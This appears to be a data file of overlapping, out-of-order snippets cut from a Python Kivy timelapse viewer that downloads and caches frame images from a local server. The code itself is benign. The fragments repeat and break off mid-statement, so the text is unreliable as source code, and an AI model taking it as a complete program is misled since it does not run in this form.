"self.image.source = tls.getImageByID(self.index) except: pass class ScreenManagement(ScreenManager): def __init__(self, *args, **kwargs): super(ScreenManagement, self).__init__(*args,",
"== 'left': self.leftKey = False elif keycode[1] == 'right': self.rightKey = False return",
"import platform def dir_path(string): if os.path.isdir(string): return string else: raise parser = argparse.ArgumentParser(description=\"Interactive",
"> tls._MAX: self.index = tls._MAX elif (self.index+self.velo) < tls._MIN: self.index = tls._MIN else:",
"tls._MAX elif (self.index+self.velo) < tls._MIN: self.index = tls._MIN else: self.index = self.index+self.velo #print(\"moving",
"lines = indx.readlines() mi = int(lines[0]) ma = int(lines[1]) update_imgs(mi, ma) return True",
"= 'scrollDebug' class MainApp(App): def build(self): self.manager = ScreenManagement(transition=NoTransition()) return(self.manager) # Start the",
"IMAGE DIRECTORY : \" + args.image_directory) tls.setImageDirectory(args.image_directory) if args.server_url: print(\"[*] SETTING URL TO",
"the prefix of the image Eg. 'IMG'\") parser.add_argument(\"-post\", \"--image_postfix\", type=str, help=\"Sets the postfix",
"def __init__(self, *args, **kwargs): super(DebugScreen, self).__init__(*args, **kwargs) self.index = tls._MIN master_layout = BoxLayout(orientation='vertical',",
"datafile.read() datafile.close() return teasis print(\"Highest: %d\\nLowest: %d\" % (tls.getMax(), tls.getMin())) # ========================== #",
"= FloatLayout() self.image = Image(source=tls.getImageByID(self.index), size_hint=(1, 0.9), nocache=True, allow_stretch=True) background_container.add_widget(self.image) background_container.add_widget(master_layout) self.add_widget(background_container) Clock.schedule_interval(self.updateScroll,",
"import os os.environ['KIVY_GL_BACKEND'] = 'gl' # FIXES A SEGFAULT ???? import urllib.request as",
"type=dir_path, help=\"Sets the directory where the images are stored\") parser.add_argument(\"-pre\", \"--image_prefix\", type=str, help=\"Sets",
"_CLEAR_CACHE if tls._MIN > min_i and _CLEAR_CACHE: for i in range(tls._MIN, min_i): #",
"\"--image_directory\", type=dir_path, help=\"Sets the directory where the images are stored\") parser.add_argument(\"-pre\", \"--image_prefix\", type=str,",
"def getImageDateTime(ID): datafile = open(tls.getDataByID(ID)) teasis = datafile.read() datafile.close() return teasis print(\"Highest: %d\\nLowest:",
"size_hint=(1, 1)) master_layout.add_widget(self.title) background_container = FloatLayout() self.image = Image(source=tls.getImageByID(self.index), size_hint=(1, 0.9), nocache=True, allow_stretch=True)",
"= args.server_url # ========================== # Runtime Calculations # ========================== tls.updateStats() def getImageDateTime(ID): datafile",
"Mouse callbacks def on_touch_down(self, touch): if touch.is_mouse_scrolling: if touch.button == 'scrolldown': if self.index",
"if tls._MIN > min_i and _CLEAR_CACHE: for i in range(tls._MIN, min_i): # delete",
"= int(lines[1]) update_imgs(mi, ma) return True except: print(\"server down!\") return False # ==========================",
"args.server_url # ========================== # Runtime Calculations # ========================== tls.updateStats() def getImageDateTime(ID): datafile =",
"# Keyboard Input self._keyboard = Window.request_keyboard(self._keyboard_closed, self) self._keyboard.bind(on_key_down=self._on_keyboard_down, on_key_up=self._on_keyboard_up) self.leftKey = False self.rightKey",
"#tls.updateStats(); if self.index > tls._MAX: self.index = tls._MAX if self.index < tls._MIN: self.index",
"= int(lines[0]) ma = int(lines[1]) update_imgs(mi, ma) return True except: print(\"server down!\") return",
"**kwargs) self.index = tls._MIN master_layout = BoxLayout(orientation='vertical', size_hint=(1, 0.1)) self.title = Label(text='', font_size=80,",
"# Defaults # ========================== _SPEED = 1 _UPDATE_INTERVAL = 10 # every 10",
"False # ========================== # Update thread # ========================== get_update() def update_loop(): global _UPDATE_INTERVAL",
"4: self.velo = -4 else: self.velo = self.velo - 1 elif self.rightKey: if",
"self.leftKey = True elif keycode[1] == 'right': self.rightKey = True return True def",
"self.velo = 0 self.leftCount = 0 self.rightCount = 0 if (self.index+self.velo) > tls._MAX",
"= False return True # Mouse callbacks def on_touch_down(self, touch): if touch.is_mouse_scrolling: if",
"os.path.isdir(string): return string else: raise parser = argparse.ArgumentParser(description=\"Interactive Timelapse scroller\") parser.add_argument(\"-i\", \"--image_directory\", type=dir_path,",
"File: Viewer.py Author: <NAME>. & <NAME>. Date: 06/04/19 Description: This viewer can be",
": \" + str(self.index)) try: self.title.text = tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except: pass",
"tls._MIN: self.index = tls._MIN else: self.index = self.index+self.velo #print(\"moving : \" + str(self.index))",
"self.velo = 4 else: self.velo = self.velo + 1 else: self.velo = 0",
"= self.velo + 1 else: self.velo = 0 self.leftCount = 0 self.rightCount =",
"max_i) def get_update(): try: urllib.urlretrieve(_FILESERVER + \"/index.txt\", \"index.txt\") indx = open(\"index.txt\") lines =",
"def update_imgs(min_i, max_i): global _CLEAR_CACHE if tls._MIN > min_i and _CLEAR_CACHE: for i",
"= 'gl' # FIXES A SEGFAULT ???? import urllib.request as urllib #Config.set('graphics', 'fullscreen','auto')",
"''' File: Viewer.py Author: <NAME>. & <NAME>. Date: 06/04/19 Description: This viewer can",
"self.leftKey = False self.rightKey = False self.leftCount = 0 self.rightCount = 0 self.velo",
"kivy.uix.image import Image from kivy.uix.boxlayout import BoxLayout from kivy.uix.gridlayout import GridLayout from kivy.uix.floatlayout",
"self).__init__(*args, **kwargs) self.DBscreen = DebugScreen(name='scrollDebug') self.add_widget(self.DBscreen) self.current = 'scrollDebug' class MainApp(App): def build(self):",
"return teasis print(\"Highest: %d\\nLowest: %d\" % (tls.getMax(), tls.getMin())) # ========================== # WebServer stuff",
"\"index.txt\") indx = open(\"index.txt\") lines = indx.readlines() mi = int(lines[0]) ma = int(lines[1])",
"if args.image_directory: print(\"[*] SETTING IMAGE DIRECTORY : \" + args.image_directory) tls.setImageDirectory(args.image_directory) if args.server_url:",
"range try: print(\"removing \" + str(i)) os.remove(tls.getImageByID(i)) except: print(str(i) + \" doesn't exist!\")",
"= 0 self.rightCount = 0 self.velo = 0 # Keyboard callbacks def _keyboard_closed(self):",
"os os.environ['KIVY_GL_BACKEND'] = 'gl' # FIXES A SEGFAULT ???? import urllib.request as urllib",
"GridLayout from kivy.uix.floatlayout import FloatLayout from kivy.uix.button import Button from kivy.graphics import Rectangle,",
"import PIL import _thread import time import os os.environ['KIVY_GL_BACKEND'] = 'gl' # FIXES",
"return string else: raise parser = argparse.ArgumentParser(description=\"Interactive Timelapse scroller\") parser.add_argument(\"-i\", \"--image_directory\", type=dir_path, help=\"Sets",
"= True return True def _on_keyboard_up(self, keyboard, keycode): if keycode[1] == 'left': self.leftKey",
"\"--image_postfix\", type=str, help=\"Sets the postfix of the image Eg. '.jpg'\") parser.add_argument(\"-url\", \"--server_url\", type=str,",
"= DebugScreen(name='scrollDebug') self.add_widget(self.DBscreen) self.current = 'scrollDebug' class MainApp(App): def build(self): self.manager = ScreenManagement(transition=NoTransition())",
"+ \"/index.txt\", \"index.txt\") indx = open(\"index.txt\") lines = indx.readlines() mi = int(lines[0]) ma",
"self.rightKey = False self.leftCount = 0 self.rightCount = 0 self.velo = 0 #",
"tls._MAX if self.index < tls._MIN: self.index = tls._MIN try: self.title.text = tls.getTimeByID(self.index) self.image.source",
"help=\"Sets the directory where the images are stored\") parser.add_argument(\"-pre\", \"--image_prefix\", type=str, help=\"Sets the",
"print(\"server down!\") return False # ========================== # Update thread # ========================== get_update() def",
": \" + args.image_directory) tls.setImageDirectory(args.image_directory) if args.server_url: print(\"[*] SETTING URL TO SERVER :",
"= False self.rightKey = False self.leftCount = 0 self.rightCount = 0 self.velo =",
"Input self._keyboard = Window.request_keyboard(self._keyboard_closed, self) self._keyboard.bind(on_key_down=self._on_keyboard_down, on_key_up=self._on_keyboard_up) self.leftKey = False self.rightKey = False",
"if touch.button == 'scrolldown': if self.index > tls._MIN: self.index = self.index - _SPEED",
"== 'scrollup': if self.index < tls._MAX: self.index = self.index + _SPEED GridLayout.on_touch_down(self, touch)",
"background_container = FloatLayout() self.image = Image(source=tls.getImageByID(self.index), size_hint=(1, 0.9), nocache=True, allow_stretch=True) background_container.add_widget(self.image) background_container.add_widget(master_layout) self.add_widget(background_container)",
"app = App.get_running_app() if self.leftKey: if self.leftCount >= 4: self.velo = -4 else:",
"print(str(i) + \" doesn't exist!\") if tls._MAX < max_i: for i in range(tls._MAX,",
"'fullscreen','auto') Config.set('input', 'mouse', 'mouse,multitouch_on_demand') #Config.set('kivy', 'exit_on_escape', '1') from kivy.app import App from kivy.core.window",
"'exit_on_escape', '1') from kivy.app import App from kivy.core.window import Window from kivy.uix.screenmanager import",
"Button from kivy.graphics import Rectangle, Color from kivy.clock import Clock # ========================== #",
"type=str, help=\"Sets the prefix of the image Eg. 'IMG'\") parser.add_argument(\"-post\", \"--image_postfix\", type=str, help=\"Sets",
"import Rectangle, Color from kivy.clock import Clock # ========================== # Defaults # ==========================",
"keycode[1] == 'left': self.leftKey = False elif keycode[1] == 'right': self.rightKey = False",
"< tls._MIN: self.index = tls._MIN else: self.index = self.index+self.velo #print(\"moving : \" +",
"self.image = Image(source=tls.getImageByID(self.index), size_hint=(1, 0.9), nocache=True, allow_stretch=True) background_container.add_widget(self.image) background_container.add_widget(master_layout) self.add_widget(background_container) Clock.schedule_interval(self.updateScroll, 0.10) Clock.schedule_interval(self.TLS_update,",
"_thread import time import os os.environ['KIVY_GL_BACKEND'] = 'gl' # FIXES A SEGFAULT ????",
"True except: print(\"server down!\") return False # ========================== # Update thread # ==========================",
"from kivy.uix.button import Button from kivy.graphics import Rectangle, Color from kivy.clock import Clock",
": \" + args.server_url) _FILESERVER = args.server_url # ========================== # Runtime Calculations #",
"GridLayout.on_touch_down(self, touch) def updateScroll(self, *args): app = App.get_running_app() if self.leftKey: if self.leftCount >=",
"< tls._MAX: self.index = self.index + _SPEED GridLayout.on_touch_down(self, touch) def updateScroll(self, *args): app",
"if (self.index+self.velo) > tls._MAX or (self.index+self.velo) < tls._MIN: if (self.index+self.velo) > tls._MAX: self.index",
"1 else: self.velo = 0 self.leftCount = 0 self.rightCount = 0 if (self.index+self.velo)",
"the postfix of the image Eg. '.jpg'\") parser.add_argument(\"-url\", \"--server_url\", type=str, help=\"Sets the link",
"self.velo = 0 # Keyboard callbacks def _keyboard_closed(self): self._keyboard.unbind(on_key_down=self._on_keyboard_down) self._keyboard = None def",
"self.rightKey = True return True def _on_keyboard_up(self, keyboard, keycode): if keycode[1] == 'left':",
"Screen, NoTransition from kivy.uix.label import Label from kivy.uix.image import Image from kivy.uix.boxlayout import",
"min_i): # delete files in that range try: print(\"removing \" + str(i)) os.remove(tls.getImageByID(i))",
"time.sleep(_UPDATE_INTERVAL) get_update() _thread.start_new_thread(update_loop, ()) # ========================== # User-Interface # ========================== class DebugScreen(Screen): def",
"# ========================== # Command-Line Arguments # ========================== import argparse import platform def dir_path(string):",
"parser.add_argument(\"-post\", \"--image_postfix\", type=str, help=\"Sets the postfix of the image Eg. '.jpg'\") parser.add_argument(\"-url\", \"--server_url\",",
"Runtime Calculations # ========================== tls.updateStats() def getImageDateTime(ID): datafile = open(tls.getDataByID(ID)) teasis = datafile.read()",
"# every 10 seconds _CLEAR_CACHE = False _FILESERVER = \"http://localhost:8000\" # ========================== #",
"print(\"[*] SETTING URL TO SERVER : \" + args.server_url) _FILESERVER = args.server_url #",
"_FILESERVER = \"http://localhost:8000\" # ========================== # Command-Line Arguments # ========================== import argparse import",
"help=\"Sets the prefix of the image Eg. 'IMG'\") parser.add_argument(\"-post\", \"--image_postfix\", type=str, help=\"Sets the",
"from kivy.uix.gridlayout import GridLayout from kivy.uix.floatlayout import FloatLayout from kivy.uix.button import Button from",
"True: time.sleep(_UPDATE_INTERVAL) get_update() _thread.start_new_thread(update_loop, ()) # ========================== # User-Interface # ========================== class DebugScreen(Screen):",
"*args): #tls.updateStats(); if self.index > tls._MAX: self.index = tls._MAX if self.index < tls._MIN:",
"# WebServer stuff # ========================== def update_imgs(min_i, max_i): global _CLEAR_CACHE if tls._MIN >",
"= 10 # every 10 seconds _CLEAR_CACHE = False _FILESERVER = \"http://localhost:8000\" #",
"from kivy.uix.screenmanager import ScreenManager, Screen, NoTransition from kivy.uix.label import Label from kivy.uix.image import",
"directory where the images are stored\") parser.add_argument(\"-pre\", \"--image_prefix\", type=str, help=\"Sets the prefix of",
"parser = argparse.ArgumentParser(description=\"Interactive Timelapse scroller\") parser.add_argument(\"-i\", \"--image_directory\", type=dir_path, help=\"Sets the directory where the",
"# FIXES A SEGFAULT ???? import urllib.request as urllib #Config.set('graphics', 'fullscreen','auto') Config.set('input', 'mouse',",
"kivy.uix.label import Label from kivy.uix.image import Image from kivy.uix.boxlayout import BoxLayout from kivy.uix.gridlayout",
"# delete files in that range try: print(\"removing \" + str(i)) os.remove(tls.getImageByID(i)) except:",
"RaspberryPI, and pulls timelapse photos from a webserver hosted by Server.py ''' from",
"on a RaspberryPI, and pulls timelapse photos from a webserver hosted by Server.py",
"= 1 _UPDATE_INTERVAL = 10 # every 10 seconds _CLEAR_CACHE = False _FILESERVER",
"stuff def TLS_update(self, *args): #tls.updateStats(); if self.index > tls._MAX: self.index = tls._MAX if",
"self.rightCount = 0 if (self.index+self.velo) > tls._MAX or (self.index+self.velo) < tls._MIN: if (self.index+self.velo)",
"elif touch.button == 'scrollup': if self.index < tls._MAX: self.index = self.index + _SPEED",
"+ str(self.index)) try: self.title.text = tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except: pass # Timelapse",
"User-Interface # ========================== class DebugScreen(Screen): def __init__(self, *args, **kwargs): super(DebugScreen, self).__init__(*args, **kwargs) self.index",
"tls._MIN try: self.title.text = tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except: pass class ScreenManagement(ScreenManager): def",
"========================== # User-Interface # ========================== class DebugScreen(Screen): def __init__(self, *args, **kwargs): super(DebugScreen, self).__init__(*args,",
"files in that range try: print(\"removing \" + str(i)) os.remove(tls.getImageByID(i)) except: print(str(i) +",
"if self.leftKey: if self.leftCount >= 4: self.velo = -4 else: self.velo = self.velo",
"DIRECTORY : \" + args.image_directory) tls.setImageDirectory(args.image_directory) if args.server_url: print(\"[*] SETTING URL TO SERVER",
"link to the server hosted by the webcam\") args = parser.parse_args() if args.image_directory:",
"datafile = open(tls.getDataByID(ID)) teasis = datafile.read() datafile.close() return teasis print(\"Highest: %d\\nLowest: %d\" %",
"if os.path.isdir(string): return string else: raise parser = argparse.ArgumentParser(description=\"Interactive Timelapse scroller\") parser.add_argument(\"-i\", \"--image_directory\",",
"self.index = tls._MIN else: self.index = self.index+self.velo #print(\"moving : \" + str(self.index)) try:",
"#Config.set('kivy', 'exit_on_escape', '1') from kivy.app import App from kivy.core.window import Window from kivy.uix.screenmanager",
"and _CLEAR_CACHE: for i in range(tls._MIN, min_i): # delete files in that range",
"indx.readlines() mi = int(lines[0]) ma = int(lines[1]) update_imgs(mi, ma) return True except: print(\"server",
"image Eg. 'IMG'\") parser.add_argument(\"-post\", \"--image_postfix\", type=str, help=\"Sets the postfix of the image Eg.",
"mi = int(lines[0]) ma = int(lines[1]) update_imgs(mi, ma) return True except: print(\"server down!\")",
"*args, **kwargs): super(ScreenManagement, self).__init__(*args, **kwargs) self.DBscreen = DebugScreen(name='scrollDebug') self.add_widget(self.DBscreen) self.current = 'scrollDebug' class",
"True return True def _on_keyboard_up(self, keyboard, keycode): if keycode[1] == 'left': self.leftKey =",
"self.index + _SPEED GridLayout.on_touch_down(self, touch) def updateScroll(self, *args): app = App.get_running_app() if self.leftKey:",
"class DebugScreen(Screen): def __init__(self, *args, **kwargs): super(DebugScreen, self).__init__(*args, **kwargs) self.index = tls._MIN master_layout",
"========================== # Update thread # ========================== get_update() def update_loop(): global _UPDATE_INTERVAL while True:",
"= self.index+self.velo #print(\"moving : \" + str(self.index)) try: self.title.text = tls.getTimeByID(self.index) self.image.source =",
"argparse import platform def dir_path(string): if os.path.isdir(string): return string else: raise parser =",
"a webserver hosted by Server.py ''' from kivy.config import Config import timelapseshare as",
"help=\"Sets the postfix of the image Eg. '.jpg'\") parser.add_argument(\"-url\", \"--server_url\", type=str, help=\"Sets the",
"__init__(self, *args, **kwargs): super(ScreenManagement, self).__init__(*args, **kwargs) self.DBscreen = DebugScreen(name='scrollDebug') self.add_widget(self.DBscreen) self.current = 'scrollDebug'",
"keycode): if keycode[1] == 'left': self.leftKey = False elif keycode[1] == 'right': self.rightKey",
"os.remove(tls.getImageByID(i)) except: print(str(i) + \" doesn't exist!\") if tls._MAX < max_i: for i",
"be run on a RaspberryPI, and pulls timelapse photos from a webserver hosted",
"import App from kivy.core.window import Window from kivy.uix.screenmanager import ScreenManager, Screen, NoTransition from",
"the image Eg. 'IMG'\") parser.add_argument(\"-post\", \"--image_postfix\", type=str, help=\"Sets the postfix of the image",
"= None def _on_keyboard_down(self, keyboard, keycode, text, modifiers): if keycode[1] == 'left': self.leftKey",
"tls._MIN: self.index = self.index - _SPEED elif touch.button == 'scrollup': if self.index <",
"delete files in that range try: print(\"removing \" + str(i)) os.remove(tls.getImageByID(i)) except: print(str(i)",
"self._keyboard = None def _on_keyboard_down(self, keyboard, keycode, text, modifiers): if keycode[1] == 'left':",
"1 elif self.rightKey: if self.rightCount >= 4: self.velo = 4 else: self.velo =",
"???? import urllib.request as urllib #Config.set('graphics', 'fullscreen','auto') Config.set('input', 'mouse', 'mouse,multitouch_on_demand') #Config.set('kivy', 'exit_on_escape', '1')",
"Timelapse Share auto-updating stuff def TLS_update(self, *args): #tls.updateStats(); if self.index > tls._MAX: self.index",
"platform def dir_path(string): if os.path.isdir(string): return string else: raise parser = argparse.ArgumentParser(description=\"Interactive Timelapse",
"import argparse import platform def dir_path(string): if os.path.isdir(string): return string else: raise parser",
"return True # Mouse callbacks def on_touch_down(self, touch): if touch.is_mouse_scrolling: if touch.button ==",
"webserver hosted by Server.py ''' from kivy.config import Config import timelapseshare as tls",
"run on a RaspberryPI, and pulls timelapse photos from a webserver hosted by",
"# ========================== # Runtime Calculations # ========================== tls.updateStats() def getImageDateTime(ID): datafile = open(tls.getDataByID(ID))",
"self.velo = self.velo - 1 elif self.rightKey: if self.rightCount >= 4: self.velo =",
"FloatLayout() self.image = Image(source=tls.getImageByID(self.index), size_hint=(1, 0.9), nocache=True, allow_stretch=True) background_container.add_widget(self.image) background_container.add_widget(master_layout) self.add_widget(background_container) Clock.schedule_interval(self.updateScroll, 0.10)",
"str(i) + \".jpg\", tls.getImageByID(i)) except: print(str(i) + \" doesn't exist!\") tls.updateStatsManually(min_i, max_i) def",
"+ str(i) + \".jpg\", tls.getImageByID(i)) except: print(str(i) + \" doesn't exist!\") tls.updateStatsManually(min_i, max_i)",
"self.index = tls._MAX elif (self.index+self.velo) < tls._MIN: self.index = tls._MIN else: self.index =",
"self.index = tls._MAX if self.index < tls._MIN: self.index = tls._MIN try: self.title.text =",
"(self.index+self.velo) < tls._MIN: if (self.index+self.velo) > tls._MAX: self.index = tls._MAX elif (self.index+self.velo) <",
"0 if (self.index+self.velo) > tls._MAX or (self.index+self.velo) < tls._MIN: if (self.index+self.velo) > tls._MAX:",
"Keyboard Input self._keyboard = Window.request_keyboard(self._keyboard_closed, self) self._keyboard.bind(on_key_down=self._on_keyboard_down, on_key_up=self._on_keyboard_up) self.leftKey = False self.rightKey =",
"except: print(\"server down!\") return False # ========================== # Update thread # ========================== get_update()",
"+ 1 else: self.velo = 0 self.leftCount = 0 self.rightCount = 0 if",
"for i in range(tls._MAX, max_i): # gets files in that range try: print(\"retrieving",
"def TLS_update(self, *args): #tls.updateStats(); if self.index > tls._MAX: self.index = tls._MAX if self.index",
"kivy.app import App from kivy.core.window import Window from kivy.uix.screenmanager import ScreenManager, Screen, NoTransition",
"ma = int(lines[1]) update_imgs(mi, ma) return True except: print(\"server down!\") return False #",
"# Command-Line Arguments # ========================== import argparse import platform def dir_path(string): if os.path.isdir(string):",
"Command-Line Arguments # ========================== import argparse import platform def dir_path(string): if os.path.isdir(string): return",
"on_key_up=self._on_keyboard_up) self.leftKey = False self.rightKey = False self.leftCount = 0 self.rightCount = 0",
"'scrolldown': if self.index > tls._MIN: self.index = self.index - _SPEED elif touch.button ==",
"SERVER : \" + args.server_url) _FILESERVER = args.server_url # ========================== # Runtime Calculations",
"Clock.schedule_interval(self.updateScroll, 0.10) Clock.schedule_interval(self.TLS_update, 1) # Keyboard Input self._keyboard = Window.request_keyboard(self._keyboard_closed, self) self._keyboard.bind(on_key_down=self._on_keyboard_down, on_key_up=self._on_keyboard_up)",
"self.index = self.index + _SPEED GridLayout.on_touch_down(self, touch) def updateScroll(self, *args): app = App.get_running_app()",
"'left': self.leftKey = False elif keycode[1] == 'right': self.rightKey = False return True",
"False return True # Mouse callbacks def on_touch_down(self, touch): if touch.is_mouse_scrolling: if touch.button",
"0 self.rightCount = 0 self.velo = 0 # Keyboard callbacks def _keyboard_closed(self): self._keyboard.unbind(on_key_down=self._on_keyboard_down)",
"\"--server_url\", type=str, help=\"Sets the link to the server hosted by the webcam\") args",
"parser.add_argument(\"-i\", \"--image_directory\", type=dir_path, help=\"Sets the directory where the images are stored\") parser.add_argument(\"-pre\", \"--image_prefix\",",
"'mouse', 'mouse,multitouch_on_demand') #Config.set('kivy', 'exit_on_escape', '1') from kivy.app import App from kivy.core.window import Window",
"App from kivy.core.window import Window from kivy.uix.screenmanager import ScreenManager, Screen, NoTransition from kivy.uix.label",
"Author: <NAME>. & <NAME>. Date: 06/04/19 Description: This viewer can be run on",
"print(str(i) + \" doesn't exist!\") tls.updateStatsManually(min_i, max_i) def get_update(): try: urllib.urlretrieve(_FILESERVER + \"/index.txt\",",
"tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except: pass # Timelapse Share auto-updating stuff def TLS_update(self,",
"tls._MAX: self.index = tls._MAX elif (self.index+self.velo) < tls._MIN: self.index = tls._MIN else: self.index",
">= 4: self.velo = -4 else: self.velo = self.velo - 1 elif self.rightKey:",
"+ args.server_url) _FILESERVER = args.server_url # ========================== # Runtime Calculations # ========================== tls.updateStats()",
"+ str(i)) urllib.urlretrieve(_FILESERVER + \"/frame\" + str(i) + \".jpg\", tls.getImageByID(i)) except: print(str(i) +",
"\"/frame\" + str(i) + \".jpg\", tls.getImageByID(i)) except: print(str(i) + \" doesn't exist!\") tls.updateStatsManually(min_i,",
"def dir_path(string): if os.path.isdir(string): return string else: raise parser = argparse.ArgumentParser(description=\"Interactive Timelapse scroller\")",
"# ========================== # Update thread # ========================== get_update() def update_loop(): global _UPDATE_INTERVAL while",
"= open(\"index.txt\") lines = indx.readlines() mi = int(lines[0]) ma = int(lines[1]) update_imgs(mi, ma)",
"def updateScroll(self, *args): app = App.get_running_app() if self.leftKey: if self.leftCount >= 4: self.velo",
"webcam\") args = parser.parse_args() if args.image_directory: print(\"[*] SETTING IMAGE DIRECTORY : \" +",
"import BoxLayout from kivy.uix.gridlayout import GridLayout from kivy.uix.floatlayout import FloatLayout from kivy.uix.button import",
"'left': self.leftKey = True elif keycode[1] == 'right': self.rightKey = True return True",
"# ========================== # WebServer stuff # ========================== def update_imgs(min_i, max_i): global _CLEAR_CACHE if",
"def __init__(self, *args, **kwargs): super(ScreenManagement, self).__init__(*args, **kwargs) self.DBscreen = DebugScreen(name='scrollDebug') self.add_widget(self.DBscreen) self.current =",
"**kwargs): super(ScreenManagement, self).__init__(*args, **kwargs) self.DBscreen = DebugScreen(name='scrollDebug') self.add_widget(self.DBscreen) self.current = 'scrollDebug' class MainApp(App):",
"pass # Timelapse Share auto-updating stuff def TLS_update(self, *args): #tls.updateStats(); if self.index >",
"self.velo - 1 elif self.rightKey: if self.rightCount >= 4: self.velo = 4 else:",
"+ \"/frame\" + str(i) + \".jpg\", tls.getImageByID(i)) except: print(str(i) + \" doesn't exist!\")",
"that range try: print(\"retrieving \" + str(i)) urllib.urlretrieve(_FILESERVER + \"/frame\" + str(i) +",
"+ args.image_directory) tls.setImageDirectory(args.image_directory) if args.server_url: print(\"[*] SETTING URL TO SERVER : \" +",
"from kivy.uix.floatlayout import FloatLayout from kivy.uix.button import Button from kivy.graphics import Rectangle, Color",
"\"/index.txt\", \"index.txt\") indx = open(\"index.txt\") lines = indx.readlines() mi = int(lines[0]) ma =",
"FIXES A SEGFAULT ???? import urllib.request as urllib #Config.set('graphics', 'fullscreen','auto') Config.set('input', 'mouse', 'mouse,multitouch_on_demand')",
"try: urllib.urlretrieve(_FILESERVER + \"/index.txt\", \"index.txt\") indx = open(\"index.txt\") lines = indx.readlines() mi =",
"self.leftCount >= 4: self.velo = -4 else: self.velo = self.velo - 1 elif",
"self.rightKey: if self.rightCount >= 4: self.velo = 4 else: self.velo = self.velo +",
"urllib.request as urllib #Config.set('graphics', 'fullscreen','auto') Config.set('input', 'mouse', 'mouse,multitouch_on_demand') #Config.set('kivy', 'exit_on_escape', '1') from kivy.app",
"font_size=80, size_hint=(1, 1)) master_layout.add_widget(self.title) background_container = FloatLayout() self.image = Image(source=tls.getImageByID(self.index), size_hint=(1, 0.9), nocache=True,",
"from kivy.app import App from kivy.core.window import Window from kivy.uix.screenmanager import ScreenManager, Screen,",
"else: self.index = self.index+self.velo #print(\"moving : \" + str(self.index)) try: self.title.text = tls.getTimeByID(self.index)",
"self.add_widget(background_container) Clock.schedule_interval(self.updateScroll, 0.10) Clock.schedule_interval(self.TLS_update, 1) # Keyboard Input self._keyboard = Window.request_keyboard(self._keyboard_closed, self) self._keyboard.bind(on_key_down=self._on_keyboard_down,",
"'1') from kivy.app import App from kivy.core.window import Window from kivy.uix.screenmanager import ScreenManager,",
"i in range(tls._MIN, min_i): # delete files in that range try: print(\"removing \"",
"Image(source=tls.getImageByID(self.index), size_hint=(1, 0.9), nocache=True, allow_stretch=True) background_container.add_widget(self.image) background_container.add_widget(master_layout) self.add_widget(background_container) Clock.schedule_interval(self.updateScroll, 0.10) Clock.schedule_interval(self.TLS_update, 1) #",
"def get_update(): try: urllib.urlretrieve(_FILESERVER + \"/index.txt\", \"index.txt\") indx = open(\"index.txt\") lines = indx.readlines()",
"self.title = Label(text='', font_size=80, size_hint=(1, 1)) master_layout.add_widget(self.title) background_container = FloatLayout() self.image = Image(source=tls.getImageByID(self.index),",
"tls.updateStats() def getImageDateTime(ID): datafile = open(tls.getDataByID(ID)) teasis = datafile.read() datafile.close() return teasis print(\"Highest:",
"= -4 else: self.velo = self.velo - 1 elif self.rightKey: if self.rightCount >=",
"i in range(tls._MAX, max_i): # gets files in that range try: print(\"retrieving \"",
"if keycode[1] == 'left': self.leftKey = True elif keycode[1] == 'right': self.rightKey =",
"auto-updating stuff def TLS_update(self, *args): #tls.updateStats(); if self.index > tls._MAX: self.index = tls._MAX",
"= BoxLayout(orientation='vertical', size_hint=(1, 0.1)) self.title = Label(text='', font_size=80, size_hint=(1, 1)) master_layout.add_widget(self.title) background_container =",
"Window from kivy.uix.screenmanager import ScreenManager, Screen, NoTransition from kivy.uix.label import Label from kivy.uix.image",
"= datafile.read() datafile.close() return teasis print(\"Highest: %d\\nLowest: %d\" % (tls.getMax(), tls.getMin())) # ==========================",
"+ \".jpg\", tls.getImageByID(i)) except: print(str(i) + \" doesn't exist!\") tls.updateStatsManually(min_i, max_i) def get_update():",
"try: self.title.text = tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except: pass # Timelapse Share auto-updating",
"SETTING URL TO SERVER : \" + args.server_url) _FILESERVER = args.server_url # ==========================",
"import Image from kivy.uix.boxlayout import BoxLayout from kivy.uix.gridlayout import GridLayout from kivy.uix.floatlayout import",
"try: print(\"retrieving \" + str(i)) urllib.urlretrieve(_FILESERVER + \"/frame\" + str(i) + \".jpg\", tls.getImageByID(i))",
"========================== get_update() def update_loop(): global _UPDATE_INTERVAL while True: time.sleep(_UPDATE_INTERVAL) get_update() _thread.start_new_thread(update_loop, ()) #",
"touch.button == 'scrolldown': if self.index > tls._MIN: self.index = self.index - _SPEED elif",
"& <NAME>. Date: 06/04/19 Description: This viewer can be run on a RaspberryPI,",
"class ScreenManagement(ScreenManager): def __init__(self, *args, **kwargs): super(ScreenManagement, self).__init__(*args, **kwargs) self.DBscreen = DebugScreen(name='scrollDebug') self.add_widget(self.DBscreen)",
"the webcam\") args = parser.parse_args() if args.image_directory: print(\"[*] SETTING IMAGE DIRECTORY : \"",
"= 4 else: self.velo = self.velo + 1 else: self.velo = 0 self.leftCount",
"getImageDateTime(ID): datafile = open(tls.getDataByID(ID)) teasis = datafile.read() datafile.close() return teasis print(\"Highest: %d\\nLowest: %d\"",
"parser.add_argument(\"-pre\", \"--image_prefix\", type=str, help=\"Sets the prefix of the image Eg. 'IMG'\") parser.add_argument(\"-post\", \"--image_postfix\",",
"= tls._MIN master_layout = BoxLayout(orientation='vertical', size_hint=(1, 0.1)) self.title = Label(text='', font_size=80, size_hint=(1, 1))",
"self.leftKey: if self.leftCount >= 4: self.velo = -4 else: self.velo = self.velo -",
"URL TO SERVER : \" + args.server_url) _FILESERVER = args.server_url # ========================== #",
"get_update(): try: urllib.urlretrieve(_FILESERVER + \"/index.txt\", \"index.txt\") indx = open(\"index.txt\") lines = indx.readlines() mi",
"10 seconds _CLEAR_CACHE = False _FILESERVER = \"http://localhost:8000\" # ========================== # Command-Line Arguments",
"if self.index < tls._MAX: self.index = self.index + _SPEED GridLayout.on_touch_down(self, touch) def updateScroll(self,",
"if self.rightCount >= 4: self.velo = 4 else: self.velo = self.velo + 1",
"< tls._MIN: self.index = tls._MIN try: self.title.text = tls.getTimeByID(self.index) self.image.source = tls.getImageByID(self.index) except:",
"args.server_url: print(\"[*] SETTING URL TO SERVER : \" + args.server_url) _FILESERVER = args.server_url",
"# Update thread # ========================== get_update() def update_loop(): global _UPDATE_INTERVAL while True: time.sleep(_UPDATE_INTERVAL)",
"import Clock # ========================== # Defaults # ========================== _SPEED = 1 _UPDATE_INTERVAL =",
